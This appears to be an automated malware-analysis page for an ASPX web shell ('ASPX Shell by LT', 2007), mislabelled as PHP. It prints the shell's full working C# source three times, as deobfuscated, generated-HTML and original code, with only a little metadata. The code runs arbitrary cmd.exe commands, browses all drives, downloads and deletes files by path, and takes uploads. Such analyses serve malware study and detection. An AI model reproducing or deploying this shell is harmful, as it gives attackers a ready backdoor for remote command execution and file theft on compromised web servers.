PHP Malware Analysis
shell.aspx
md5: b22ecea3e2fbc7b1058f41eaf5d30c3e
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Emails
- lt@mac.hush.com (Deobfuscated, HTML, Original)
Title
- ASPX Shell (Deobfuscated, Original)
URLs
- http://www.w3.org/1999/xhtml (Deobfuscated, HTML, Original)
- http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd (Deobfuscated, HTML, Original)
Deobfuscated PHP code
<%-- ASPX Shell by LT <lt@mac.hush.com> (2007) --%>
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%
string outstr = "";
// get pwd
string dir = Page.MapPath(".") + "/";
if (Request.QueryString["fdir"] != null)
dir = Request.QueryString["fdir"] + "/";
dir = dir.Replace("\\", "/");
dir = dir.Replace("//", "/");
// build nav for path literal
string[] dirparts = dir.Split('/');
string linkwalk = "";
foreach (string curpart in dirparts)
{
if (curpart.Length == 0)
continue;
linkwalk += curpart + "/";
outstr += string.Format("<a href='?fdir={0}'>{1}/</a> ",
HttpUtility.UrlEncode(linkwalk),
HttpUtility.HtmlEncode(curpart));
}
lblPath.Text = outstr;
// create drive list
outstr = "";
foreach(DriveInfo curdrive in DriveInfo.GetDrives())
{
if (!curdrive.IsReady)
continue;
string driveRoot = curdrive.RootDirectory.Name.Replace("\\", "");
outstr += string.Format("<a href='?fdir={0}'>{1}</a> ",
HttpUtility.UrlEncode(driveRoot),
HttpUtility.HtmlEncode(driveRoot));
}
lblDrives.Text = outstr;
// send file ?
if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0))
{
Response.ClearContent();
Response.WriteFile(Request.QueryString["get"]);
Response.End();
}
// delete file ?
if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))
File.Delete(Request.QueryString["del"]);
// receive files ?
if(flUp.HasFile)
{
string fileName = flUp.FileName;
int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' });
if (splitAt >= 0)
fileName = flUp.FileName.Substring(splitAt);
flUp.SaveAs(dir + "/" + fileName);
}
// enum directory and generate listing in the right pane
DirectoryInfo di = new DirectoryInfo(dir);
outstr = "";
foreach (DirectoryInfo curdir in di.GetDirectories())
{
string fstr = string.Format("<a href='?fdir={0}'>{1}</a>",
HttpUtility.UrlEncode(dir + "/" + curdir.Name),
HttpUtility.HtmlEncode(curdir.Name));
outstr += string.Format("<tr><td>{0}</td><td><DIR></td><td></td></tr>", fstr);
}
foreach (FileInfo curfile in di.GetFiles())
{
string fstr = string.Format("<a href='?get={0}' target='_blank'>{1}</a>",
HttpUtility.UrlEncode(dir + "/" + curfile.Name),
HttpUtility.HtmlEncode(curfile.Name));
string astr = string.Format("<a href='?fdir={0}&del={1}'>Del</a>",
HttpUtility.UrlEncode(dir),
HttpUtility.UrlEncode(dir + "/" + curfile.Name));
outstr += string.Format("<tr><td>{0}</td><td>{1:d}</td><td>{2}</td></tr>", fstr, curfile.Length / 1024, astr);
}
lblDirOut.Text = outstr;
// exec cmd ?
if (txtCmdIn.Text.Length > 0)
{
Process p = new Process();
p.StartInfo.CreateNoWindow = true;
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + txtCmdIn.Text;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.WorkingDirectory = dir;
p.Start();
lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
txtCmdIn.Text = "";
}
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>ASPX Shell</title>
<style type="text/css">
* { font-family: Arial; font-size: 12px; }
body { margin: 0px; }
pre { font-family: Courier New; background-color: #CCCCCC; }
h1 { font-size: 16px; background-color: #00AA00; color: #FFFFFF; padding: 5px; }
h2 { font-size: 14px; background-color: #006600; color: #FFFFFF; padding: 2px; }
th { text-align: left; background-color: #99CC99; }
td { background-color: #CCFFCC; }
pre { margin: 2px; }
</style>
</head>
<body>
<h1>ASPX Shell by LT</h1>
<form id="form1" runat="server">
<table style="width: 100%; border-width: 0px; padding: 5px;">
<tr>
<td style="width: 50%; vertical-align: top;">
<h2>Shell</h2>
<asp:TextBox runat="server" ID="txtCmdIn" Width="300" />
<asp:Button runat="server" ID="cmdExec" Text="Execute" />
<pre><asp:Literal runat="server" ID="lblCmdOut" Mode="Encode" /></pre>
</td>
<td style="width: 50%; vertical-align: top;">
<h2>File Browser</h2>
<p>
Drives:<br />
<asp:Literal runat="server" ID="lblDrives" Mode="PassThrough" />
</p>
<p>
Working directory:<br />
<b><asp:Literal runat="server" ID="lblPath" Mode="passThrough" /></b>
</p>
<table style="width: 100%">
<tr>
<th>Name</th>
<th>Size KB</th>
<th style="width: 50px">Actions</th>
</tr>
<asp:Literal runat="server" ID="lblDirOut" Mode="PassThrough" />
</table>
<p>Upload to this directory:<br />
<asp:FileUpload runat="server" ID="flUp" />
<asp:Button runat="server" ID="cmdUpload" Text="Upload" />
</p>
</td>
</tr>
</table>
</form>
</body>
</html>Execution traces
Generated HTML code
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;"><%-- ASPX Shell by LT <lt@mac.hush.com> (2007) --%>
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%
string outstr = "";
// get pwd
string dir = Page.MapPath(".") + "/";
if (Request.QueryString["fdir"] != null)
dir = Request.QueryString["fdir"] + "/";
dir = dir.Replace("\\", "/");
dir = dir.Replace("//", "/");
// build nav for path literal
string[] dirparts = dir.Split('/');
string linkwalk = "";
foreach (string curpart in dirparts)
{
if (curpart.Length == 0)
continue;
linkwalk += curpart + "/";
outstr += string.Format("<a href='?fdir={0}'>{1}/</a>&nbsp;",
HttpUtility.UrlEncode(linkwalk),
HttpUtility.HtmlEncode(curpart));
}
lblPath.Text = outstr;
// create drive list
outstr = "";
foreach(DriveInfo curdrive in DriveInfo.GetDrives())
{
if (!curdrive.IsReady)
continue;
string driveRoot = curdrive.RootDirectory.Name.Replace("\\", "");
outstr += string.Format("<a href='?fdir={0}'>{1}</a>&nbsp;",
HttpUtility.UrlEncode(driveRoot),
HttpUtility.HtmlEncode(driveRoot));
}
lblDrives.Text = outstr;
// send file ?
if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0))
{
Response.ClearContent();
Response.WriteFile(Request.QueryString["get"]);
Response.End();
}
// delete file ?
if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))
File.Delete(Request.QueryString["del"]);
// receive files ?
if(flUp.HasFile)
{
string fileName = flUp.FileName;
int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' });
if (splitAt >= 0)
fileName = flUp.FileName.Substring(splitAt);
flUp.SaveAs(dir + "/" + fileName);
}
// enum directory and generate listing in the right pane
DirectoryInfo di = new DirectoryInfo(dir);
outstr = "";
foreach (DirectoryInfo curdir in di.GetDirectories())
{
string fstr = string.Format("<a href='?fdir={0}'>{1}</a>",
HttpUtility.UrlEncode(dir + "/" + curdir.Name),
HttpUtility.HtmlEncode(curdir.Name));
outstr += string.Format("<tr><td>{0}</td><td>&lt;DIR&gt;</td><td></td></tr>", fstr);
}
foreach (FileInfo curfile in di.GetFiles())
{
string fstr = string.Format("<a href='?get={0}' target='_blank'>{1}</a>",
HttpUtility.UrlEncode(dir + "/" + curfile.Name),
HttpUtility.HtmlEncode(curfile.Name));
string astr = string.Format("<a href='?fdir={0}&del={1}'>Del</a>",
HttpUtility.UrlEncode(dir),
HttpUtility.UrlEncode(dir + "/" + curfile.Name));
outstr += string.Format("<tr><td>{0}</td><td>{1:d}</td><td>{2}</td></tr>", fstr, curfile.Length / 1024, astr);
}
lblDirOut.Text = outstr;
// exec cmd ?
if (txtCmdIn.Text.Length > 0)
{
Process p = new Process();
p.StartInfo.CreateNoWindow = true;
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + txtCmdIn.Text;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.WorkingDirectory = dir;
p.Start();
lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
txtCmdIn.Text = "";
}
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>ASPX Shell</title>
<style type="text/css">
* { font-family: Arial; font-size: 12px; }
body { margin: 0px; }
pre { font-family: Courier New; background-color: #CCCCCC; }
h1 { font-size: 16px; background-color: #00AA00; color: #FFFFFF; padding: 5px; }
h2 { font-size: 14px; background-color: #006600; color: #FFFFFF; padding: 2px; }
th { text-align: left; background-color: #99CC99; }
td { background-color: #CCFFCC; }
pre { margin: 2px; }
</style>
</head>
<body>
<h1>ASPX Shell by LT</h1>
<form id="form1" runat="server">
<table style="width: 100%; border-width: 0px; padding: 5px;">
<tr>
<td style="width: 50%; vertical-align: top;">
<h2>Shell</h2>
<asp:TextBox runat="server" ID="txtCmdIn" Width="300" />
<asp:Button runat="server" ID="cmdExec" Text="Execute" />
<pre><asp:Literal runat="server" ID="lblCmdOut" Mode="Encode" /></pre>
</td>
<td style="width: 50%; vertical-align: top;">
<h2>File Browser</h2>
<p>
Drives:<br />
<asp:Literal runat="server" ID="lblDrives" Mode="PassThrough" />
</p>
<p>
Working directory:<br />
<b><asp:Literal runat="server" ID="lblPath" Mode="passThrough" /></b>
</p>
<table style="width: 100%">
<tr>
<th>Name</th>
<th>Size KB</th>
<th style="width: 50px">Actions</th>
</tr>
<asp:Literal runat="server" ID="lblDirOut" Mode="PassThrough" />
</table>
<p>Upload to this directory:<br />
<asp:FileUpload runat="server" ID="flUp" />
<asp:Button runat="server" ID="cmdUpload" Text="Upload" />
</p>
</td>
</tr>
</table>
</form>
</body>
</html></pre></body></html>Original PHP code
<%-- ASPX Shell by LT <lt@mac.hush.com> (2007) --%>
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%
string outstr = "";
// get pwd
string dir = Page.MapPath(".") + "/";
if (Request.QueryString["fdir"] != null)
dir = Request.QueryString["fdir"] + "/";
dir = dir.Replace("\\", "/");
dir = dir.Replace("//", "/");
// build nav for path literal
string[] dirparts = dir.Split('/');
string linkwalk = "";
foreach (string curpart in dirparts)
{
if (curpart.Length == 0)
continue;
linkwalk += curpart + "/";
outstr += string.Format("<a href='?fdir={0}'>{1}/</a> ",
HttpUtility.UrlEncode(linkwalk),
HttpUtility.HtmlEncode(curpart));
}
lblPath.Text = outstr;
// create drive list
outstr = "";
foreach(DriveInfo curdrive in DriveInfo.GetDrives())
{
if (!curdrive.IsReady)
continue;
string driveRoot = curdrive.RootDirectory.Name.Replace("\\", "");
outstr += string.Format("<a href='?fdir={0}'>{1}</a> ",
HttpUtility.UrlEncode(driveRoot),
HttpUtility.HtmlEncode(driveRoot));
}
lblDrives.Text = outstr;
// send file ?
if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0))
{
Response.ClearContent();
Response.WriteFile(Request.QueryString["get"]);
Response.End();
}
// delete file ?
if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))
File.Delete(Request.QueryString["del"]);
// receive files ?
if(flUp.HasFile)
{
string fileName = flUp.FileName;
int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' });
if (splitAt >= 0)
fileName = flUp.FileName.Substring(splitAt);
flUp.SaveAs(dir + "/" + fileName);
}
// enum directory and generate listing in the right pane
DirectoryInfo di = new DirectoryInfo(dir);
outstr = "";
foreach (DirectoryInfo curdir in di.GetDirectories())
{
string fstr = string.Format("<a href='?fdir={0}'>{1}</a>",
HttpUtility.UrlEncode(dir + "/" + curdir.Name),
HttpUtility.HtmlEncode(curdir.Name));
outstr += string.Format("<tr><td>{0}</td><td><DIR></td><td></td></tr>", fstr);
}
foreach (FileInfo curfile in di.GetFiles())
{
string fstr = string.Format("<a href='?get={0}' target='_blank'>{1}</a>",
HttpUtility.UrlEncode(dir + "/" + curfile.Name),
HttpUtility.HtmlEncode(curfile.Name));
string astr = string.Format("<a href='?fdir={0}&del={1}'>Del</a>",
HttpUtility.UrlEncode(dir),
HttpUtility.UrlEncode(dir + "/" + curfile.Name));
outstr += string.Format("<tr><td>{0}</td><td>{1:d}</td><td>{2}</td></tr>", fstr, curfile.Length / 1024, astr);
}
lblDirOut.Text = outstr;
// exec cmd ?
if (txtCmdIn.Text.Length > 0)
{
Process p = new Process();
p.StartInfo.CreateNoWindow = true;
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + txtCmdIn.Text;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.WorkingDirectory = dir;
p.Start();
lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
txtCmdIn.Text = "";
}
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>ASPX Shell</title>
<style type="text/css">
* { font-family: Arial; font-size: 12px; }
body { margin: 0px; }
pre { font-family: Courier New; background-color: #CCCCCC; }
h1 { font-size: 16px; background-color: #00AA00; color: #FFFFFF; padding: 5px; }
h2 { font-size: 14px; background-color: #006600; color: #FFFFFF; padding: 2px; }
th { text-align: left; background-color: #99CC99; }
td { background-color: #CCFFCC; }
pre { margin: 2px; }
</style>
</head>
<body>
<h1>ASPX Shell by LT</h1>
<form id="form1" runat="server">
<table style="width: 100%; border-width: 0px; padding: 5px;">
<tr>
<td style="width: 50%; vertical-align: top;">
<h2>Shell</h2>
<asp:TextBox runat="server" ID="txtCmdIn" Width="300" />
<asp:Button runat="server" ID="cmdExec" Text="Execute" />
<pre><asp:Literal runat="server" ID="lblCmdOut" Mode="Encode" /></pre>
</td>
<td style="width: 50%; vertical-align: top;">
<h2>File Browser</h2>
<p>
Drives:<br />
<asp:Literal runat="server" ID="lblDrives" Mode="PassThrough" />
</p>
<p>
Working directory:<br />
<b><asp:Literal runat="server" ID="lblPath" Mode="passThrough" /></b>
</p>
<table style="width: 100%">
<tr>
<th>Name</th>
<th>Size KB</th>
<th style="width: 50px">Actions</th>
</tr>
<asp:Literal runat="server" ID="lblDirOut" Mode="PassThrough" />
</table>
<p>Upload to this directory:<br />
<asp:FileUpload runat="server" ID="flUp" />
<asp:Button runat="server" ID="cmdUpload" Text="Upload" />
</p>
</td>
</tr>
</table>
</form>
</body>
</html>